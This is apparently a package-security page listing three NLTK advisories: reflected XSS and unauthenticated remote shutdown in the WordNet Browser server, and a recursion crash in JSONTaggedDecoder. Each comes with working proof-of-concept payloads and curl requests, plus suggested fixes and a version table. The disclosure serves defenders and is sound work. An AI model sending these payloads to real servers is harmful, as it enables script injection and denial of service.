Python/nltk/3.9.3


Natural Language Toolkit

https://pypi.org/project/nltk
Apache-2.0

3 Security Vulnerabilities

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in nltk

Published date: 2026-03-18T20:23:33Z
CVE: CVE-2026-33230
Links:

Summary

nltk.app.wordnet_app contains a reflected cross-site scripting issue in the lookup_... route. A crafted lookup_<payload> URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled word data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application.

Details

The vulnerable flow is in nltk/app/wordnet_app.py:

This is inconsistent with the search route, which does escape user input:

As a result, a malicious lookup_... payload can inject script into the response page.

The issue is exploitable because:

  • Reference.decode() accepts attacker-controlled base64-encoded pickle data for the URL state.
  • The decoded word is reflected into HTML without html.escape().
  • The server is started with HTTPServer(("", port), MyServerHandler), so it listens on all interfaces by default, not just localhost.

PoC

  1. Start the WordNet Browser in an isolated Docker environment:
docker run -d --name nltk-wordnet-web -p 8002:8002 \
  nltk-sandbox \
  python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8002, False)"
  1. Use the following crafted payload, which decodes to:
("<script>alert(1)</script>", {})

Encoded payload:

gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=
  1. Request the vulnerable route:
curl -s "http://127.0.0.1:8002/lookup_gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4="
  1. Observed result:
The word or words '<script>alert(1)</script>' were not found in the dictionary.

127

I also validated the issue directly at function level in Docker:

import base64
import pickle

from nltk.app.wordnet_app import page_from_href

payload = base64.urlsafe_b64encode(
    pickle.dumps(("<script>alert(1)</script>", {}), -1)
).decode()

page, word = page_from_href(payload)
print(word)
print("<script>alert(1)</script>" in page)

Observed output:

WORD= <script>alert(1)</script>
HAS_SCRIPT= True

Impact

This is a reflected XSS issue in the NLTK WordNet Browser web UI.

An attacker who can convince a user to open a crafted lookup_... URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to:

  • run arbitrary script in the browser tab
  • manipulate the page content shown to the user
  • issue same-origin requests to other WordNet Browser routes
  • potentially trigger available UI actions in that local app context

This primarily impacts users who run nltk.app.wordnet_app as a local or self-hosted HTTP service and open attacker-controlled links.

Affected versions: ["2.0.1rc3", "2.0.1rc4", "3.0.0", "3.0.2", "3.1", "3.2.3", "3.5", "3.5b1", "0.8", "0.9.8", "0.9.9", "2.0b4", "3.0.1", "3.2.1", "0.9.4", "2.0.1", "0.9.5", "0.9.6", "2.0.5", "3.0.5", "3.0.0b1", "3.0.3", "3.0.4", "3.4.4", "3.6", "2.0.1rc2-git", "2.0b7", "3.0.0b2", "3.2.5", "3.3", "3.4.3", "0.9.3", "0.9.7", "2.0.1rc1", "2.0.3", "2.0.4", "2.0b6", "3.2", "2.0.2", "2.0b5", "3.2.2", "3.2.4", "3.4", "3.4.5", "3.6.1", "0.9", "2.0b8", "2.0b9", "3.4.1", "3.4.2", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9b1", "3.9.1", "3.9", "3.9.2", "3.9.3"]
Secure versions: []

Unauthenticated remote shutdown in nltk.app.wordnet_app

Published date: 2026-03-19T12:42:20Z
CVE: CVE-2026-33231
Links:

Summary

nltk.app.wordnet_app allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple GET /SHUTDOWN%20THE%20SERVER request causes the process to terminate immediately via os._exit(0), resulting in a denial of service.

Details

The vulnerable logic is in nltk/app/wordnet_app.py:

This means any party that can reach the listening port can stop the service with a single unauthenticated GET request when the browser is started in its normal mode.

PoC

  1. Start the WordNet Browser in Docker in its default mode:
docker run -d --name nltk-wordnet-web-default-retest -p 8004:8004 \
  nltk-sandbox \
  python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8004, True)"
  1. Confirm the service is reachable:
curl -s -o /tmp/wn_before.html -w '%{http_code}\n' 'http://127.0.0.1:8004/'

Observed result:

200
  1. Trigger shutdown:
curl -s -o /tmp/wn_shutdown.html -w '%{http_code}\n' 'http://127.0.0.1:8004/SHUTDOWN%20THE%20SERVER'

Observed result:

000
  1. Verify the service is no longer available:
curl -s -o /tmp/wn_after.html -w '%{http_code}\n' 'http://127.0.0.1:8004/'
docker ps -a --filter name=nltk-wordnet-web-default-retest --format '{{.Names}}\t{{.Status}}'
docker logs nltk-wordnet-web-default-retest

Observed results:

000
nltk-wordnet-web-default-retest    Exited (0)
Server shutting down!

Impact

This is an unauthenticated denial-of-service issue in the NLTK WordNet Browser HTTP server.

Any reachable client can terminate the service remotely when the application is started in its default mode. The impact is limited to service availability, but it is still security-relevant because:

  • the route is accessible over HTTP
  • no authentication or CSRF-style confirmation is required
  • the server listens on all interfaces by default
  • the process exits immediately instead of performing a controlled shutdown

This primarily affects users who run nltk.app.wordnet_app and expose or otherwise allow access to its listening port.

Affected versions: ["2.0.1rc3", "2.0.1rc4", "3.0.0", "3.0.2", "3.1", "3.2.3", "3.5", "3.5b1", "0.8", "0.9.8", "0.9.9", "2.0b4", "3.0.1", "3.2.1", "0.9.4", "2.0.1", "0.9.5", "0.9.6", "2.0.5", "3.0.5", "3.0.0b1", "3.0.3", "3.0.4", "3.4.4", "3.6", "2.0.1rc2-git", "2.0b7", "3.0.0b2", "3.2.5", "3.3", "3.4.3", "0.9.3", "0.9.7", "2.0.1rc1", "2.0.3", "2.0.4", "2.0b6", "3.2", "2.0.2", "2.0b5", "3.2.2", "3.2.4", "3.4", "3.4.5", "3.6.1", "0.9", "2.0b8", "2.0b9", "3.4.1", "3.4.2", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9b1", "3.9.1", "3.9", "3.9.2", "3.9.3"]
Secure versions: []

Natural Language Toolkit (NLTK) has unbounded recursion in JSONTaggedDecoder.decode_obj() may cause DoS

Published date: 2026-03-18T20:17:43Z
Links:

Summary

JSONTaggedDecoder.decode_obj() in nltk/jsontags.py calls itself recursively without any depth limit. A deeply nested JSON structure exceeding sys.getrecursionlimit() (default: 1000) will raise an unhandled RecursionError, crashing the Python process.

Affected code

File: nltk/jsontags.py, lines 47–52 python @classmethod def decode_obj(cls, obj): if isinstance(obj, dict): obj = {key: cls.decode_obj(val) for (key, val) in obj.items()} elif isinstance(obj, list): obj = list(cls.decode_obj(val) for val in obj)

Proof of Concept

import sys, json
from nltk.jsontags import JSONTaggedDecoder

depth = sys.getrecursionlimit() + 50  # e.g. 1050
payload = '{"x":' * depth + "null" + "}" * depth

# Raises RecursionError, crashing the process
json.loads(payload, cls=JSONTaggedDecoder)

Impact

Any code path that passes externally-supplied JSON to JSONTaggedDecoder is vulnerable to denial of service. The severity depends on whether such a path exists in the calling code (e.g. nltk/data.py).

Suggested Fix

Add a depth parameter with a hard limit: python @classmethod def decode_obj(cls, obj, _depth=0): if _depth > 100: raise ValueError("JSON nesting too deep") if isinstance(obj, dict): obj = {key: cls.decode_obj(val, _depth + 1) for (key, val) in obj.items()} elif isinstance(obj, list): obj = list(cls.decode_obj(val, _depth + 1) for val in obj)

Affected versions: ["2.0.1rc3", "2.0.1rc4", "3.0.0", "3.0.2", "3.1", "3.2.3", "3.5", "3.5b1", "0.8", "0.9.8", "0.9.9", "2.0b4", "3.0.1", "3.2.1", "0.9.4", "2.0.1", "0.9.5", "0.9.6", "2.0.5", "3.0.5", "3.0.0b1", "3.0.3", "3.0.4", "3.4.4", "3.6", "2.0.1rc2-git", "2.0b7", "3.0.0b2", "3.2.5", "3.3", "3.4.3", "0.9.3", "0.9.7", "2.0.1rc1", "2.0.3", "2.0.4", "2.0b6", "3.2", "2.0.2", "2.0b5", "3.2.2", "3.2.4", "3.4", "3.4.5", "3.6.1", "0.9", "2.0b8", "2.0b9", "3.4.1", "3.4.2", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9b1", "3.9.1", "3.9", "3.9.2", "3.9.3"]
Secure versions: []

65 Other Versions

Version License Security Released
3.9.3 Apache-2.0 3
3.9.2 Apache-2.0 5
3.9.1 Apache-2.0 5 1970-01-01 - 00:00 about 56 years
3.9 Apache-2.0 5 1970-01-01 - 00:00 about 56 years
3.8.2 Apache-2.0 6 1970-01-01 - 00:00 about 56 years
3.8.1 Apache-2.0 6 1970-01-01 - 00:00 about 56 years
3.8 Apache-2.0 6 1970-01-01 - 00:00 about 56 years
3.7 Apache-2.0 6 2022-02-09 - 12:40 about 4 years
3.6.7 Apache-2.0 6 2021-12-28 - 23:28 about 4 years
3.6.6 Apache-2.0 6 2021-12-21 - 02:16 over 4 years
3.6.5 Apache-2.0 8 2021-10-11 - 03:49 over 4 years
3.6.4 Apache-2.0 8 2021-10-01 - 01:58 over 4 years
3.6.3 Apache-2.0 9 2021-09-20 - 06:00 over 4 years
3.6.2 Apache-2.0 9 2021-04-20 - 07:42 almost 5 years
3.6.1 Apache-2.0 9 2021-04-07 - 21:36 almost 5 years
3.6 Apache-2.0 9 2021-04-07 - 10:49 almost 5 years
3.5 Apache-2.0 9 2020-04-12 - 23:46 almost 6 years
3.4.5 Apache-2.0 9 2019-08-20 - 10:55 over 6 years
3.4.4 Apache-2.0 10 2019-07-04 - 11:09 over 6 years
3.4.3 Apache-2.0 10 2019-06-06 - 17:52 almost 7 years
3.4.2 Apache-2.0 10 2019-06-06 - 04:02 almost 7 years
3.4.1 Apache-2.0 10 2019-04-17 - 10:48 almost 7 years
3.4 Apache-2.0 10 2018-11-17 - 08:04 over 7 years
3.3 Apache-2.0 10 2018-05-06 - 02:27 almost 8 years
3.2.5 Apache-2.0 10 2017-09-24 - 11:36 over 8 years
3.2.4 Apache-2.0 10 2017-05-20 - 22:49 almost 9 years
3.2.3 Apache-2.0 10 2017-05-17 - 20:59 almost 9 years
3.2.2 Apache-2.0 10 2016-12-31 - 21:47 about 9 years
3.2.1 Apache-2.0 10 2016-04-09 - 10:06 almost 10 years
3.2 Apache-2.0 10 2016-03-03 - 01:12 about 10 years
3.1 Apache-2.0 10 2015-10-15 - 19:51 over 10 years
3.0.5 Apache-2.0 10 2015-09-06 - 02:51 over 10 years
3.0.4 Apache-2.0 10 2015-07-13 - 01:39 over 10 years
3.0.3 Apache-2.0 10 2015-06-11 - 10:59 almost 11 years
3.0.2 Apache-2.0 10 2015-03-13 - 03:43 about 11 years
3.0.1 Apache-2.0 10 2015-01-12 - 23:11 about 11 years
3.0.0 Apache-2.0 10 2015-01-12 - 00:24 about 11 years
3.0.0b2 Apache-2.0 10 2014-08-26 - 00:56 over 11 years
3.0.0b1 Apache-2.0 10 2014-07-11 - 13:32 over 11 years
2.0.5 Apache-2.0 10 2015-01-12 - 22:55 about 11 years
2.0.4 Apache-2.0 10 2015-01-12 - 22:58 about 11 years
2.0.3 Apache-2.0 10 2012-09-24 - 09:34 over 13 years
2.0.2 Apache-2.0 10 2012-07-05 - 12:08 over 13 years
2.0.1 Apache-2.0 10 2012-05-15 - 04:29 almost 14 years
2.0.1rc4 Apache-2.0 10 2012-02-10 - 00:01 about 14 years
2.0.1rc3 Apache-2.0 10 2012-01-07 - 06:41 about 14 years
2.0.1rc1 Apache-2.0 10 2011-04-11 - 08:04 almost 15 years
2.0.1rc2-git Apache-2.0 10 2011-12-01 - 04:45 over 14 years
0.9.9 GPL 10 1970-01-01 - 00:00 about 56 years
0.9.8 GPL 10 1970-01-01 - 00:00 about 56 years